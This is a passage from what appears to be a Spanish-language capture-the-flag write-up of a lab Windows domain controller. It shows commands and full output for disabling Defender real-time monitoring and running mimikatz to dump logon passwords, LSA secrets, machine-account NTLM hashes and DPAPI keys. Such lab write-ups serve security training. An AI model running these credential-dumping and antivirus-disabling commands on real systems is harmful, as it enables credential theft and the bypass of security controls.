[01:13:22:089] [37052:000090bd] [ERROR][com.freerdp.crypto] - [x509_utils_from_pem]: BIO_new failed for certificate
4) Si el Defender nos bloquea el binario de mimikatz podemos desactivarlo con el siguiente comando
PS C:\Users\Administrator\Documents> .\mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
At line:1 char:1
+ .\mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "e ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
PS C:\Users\Administrator\Documents> Set-MpPreference -DisableRealtimeMonitoring $true
Con el siguiente comando podemos elevar privilegios dentro de la sesión actual para acceder a información sensible protegida, específicamente los secrets almacenados por LSA (Local Security Authority)
PS C:\Users\Administrator\Documents> .\mimikatz.exe "token::elevate" "lsadump::secrets" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
564 {0;000003e7} 1 D 35226 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;003746fe} 0 D 24027038 TIMELAPSE\Administrator S-1-5-21-671920749-559770252-3318990721-500 (15g,26p) Primary
* Thread Token : {0;000003e7} 1 D 24089737 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz(commandline) # lsadump::secrets
Domain : DC01
SysKey : d88b7b8c98a711544956c8ac71fbe251
Local name : DC01 ( S-1-5-21-121789424-3709370612-2164620100 )
Domain name : TIMELAPSE ( S-1-5-21-671920749-559770252-3318990721 )
Domain FQDN : timelapse.htb
Policy subsystem is : 1.18
LSA Key(s) : 1, default {75927e47-3bc8-c7fc-2f70-4f4104695db0}
[00] {75927e47-3bc8-c7fc-2f70-4f4104695db0} adcff7783191893ac30def060c8b9be752c5ab5bcc060939b3dc130a3f1026d9
Secret : $MACHINE.ACC
cur/hex : 0e 1a eb 5a 37 ac a5 e0 9c ca 98 b7 ec 12 11 6a 62 ac 1a 9f 95 d9 7e 86 84 a2 45 cb 97 ff a1 a8 49 d2 08 b0 7d 89 f9 70 81 79 ee ea 7a 74 86 bf 3f 2e 5a 86 bd 87 bc f2 3d af b6 18 e2 cc 2c c7 5b 1f 9c d9 d6 95 5f 0a 69 d9 c3 a6 45 0b a5 0d 19 08 fd b1 28 5c 8c 14 52 ee 64 25 0b 7b 06 8e 7a e2 b6 e0 8a c6 b5 a8 8e 05 3e 8a 02 54 69 07 ff 1c 46 1a da 67 90 57 44 58 14 00 2b f9 1f 2e 8f cb c7 21 ea 42 d2 4a 5e 33 ee 36 07 3b e5 1e bb f3 77 a2 59 32 7b a5 1e 6e 1c fc b1 97 3e 74 63 16 98 ec cc b8 14 07 92 95 9d 64 4a 6f 03 98 ab be 58 49 aa 37 94 93 b9 aa 10 02 93 29 36 9d e6 a2 52 2f 60 c6 4b cb f2 12 aa 68 c6 86 2e 9a 3a 96 00 cf 34 68 20 9f d5 b0 f5 24 c7 22 4a 0a 84 ec aa f9 ac 73 d3 7d 33 aa a9 21 00 93 f5 fe
NTLM:0c0a85a71c691c18498fd750d4a0ce7c
SHA1:03f7559fe255b251533ac885d8aa69be23fa8baa
old/hex : 06 52 4d 4d 4a de 8b 43 ed 2b 60 b9 01 6a f4 b5 74 49 f4 22 4b 83 93 02 da 32 48 8e 40 8b 19 b1 43 80 f7 d9 68 15 85 70 9b 65 17 c2 f1 59 d7 39 c3 e8 2f a9 b1 d0 5e 5d fd 41 d3 1f cf 7e 6c 2d 3e e3 f5 cd b3 08 9d ba 1a 8b ff b1 fd cc a8 e4 ba 53 cf af 8a 21 6c 73 fe 2f 2f f3 cb 65 f2 12 79 25 5a 12 e9 6b 02 ef 99 59 44 d7 b6 b2 fd 7e bc 1d aa 4d f2 c9 02 19 19 a4 f1 83 69 d5 59 b0 d6 bd f2 19 6b 20 c3 38 ad c3 4d 7f 0c aa c3 3e 6a f4 15 47 fd 64 2c 22 b7 7f 3e 16 af 8d c3 10 58 a2 a6 02 86 0f d2 11 c1 16 3e 78 d1 b9 1e 06 74 81 46 7f 18 c0 2f fd c3 75 9d d8 60 86 41 99 3f 2c 96 1b 55 3d 92 02 7d bb 88 17 de da 12 31 6d b8 89 9b 55 91 53 a6 ae 02 88 2c ad af b3 91 d3 80 27 00 d7 a4 c4 b4 6a ab 32 d9 29 a8 2b 57
NTLM:48fba7e98d2143f3d61d662d9dafd4d8
SHA1:1bca7cddcebced734a553f5b4743d0153c6c4a85
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 bc 6b 4b e0 de 66 f2 62 c7 5d f7 ae 4f 7d ad f3 4f a0 3d dc 07 4f e8 86 0a 0f bc a4 0b 90 2c 40 99 98 b1 b9 cd 33 2c d1
full: bc6b4be0de66f262c75df7ae4f7dadf34fa03ddc074fe8860a0fbca40b902c409998b1b9cd332cd1
m/u : bc6b4be0de66f262c75df7ae4f7dadf34fa03ddc / 074fe8860a0fbca40b902c409998b1b9cd332cd1
old/hex : 01 00 00 00 43 05 28 74 c8 bf 19 df dd 8d cf bc 8e 9d 8a ac 40 97 75 af 1d 34 0e 67 76 14 14 0e c9 fd 30 b6 ec de b7 11 a0 91 f7 60
full: 43052874c8bf19dfdd8dcfbc8e9d8aac409775af1d340e677614140ec9fd30b6ecdeb711a091f760
m/u : 43052874c8bf19dfdd8dcfbc8e9d8aac409775af / 1d340e677614140ec9fd30b6ecdeb711a091f760
Last updated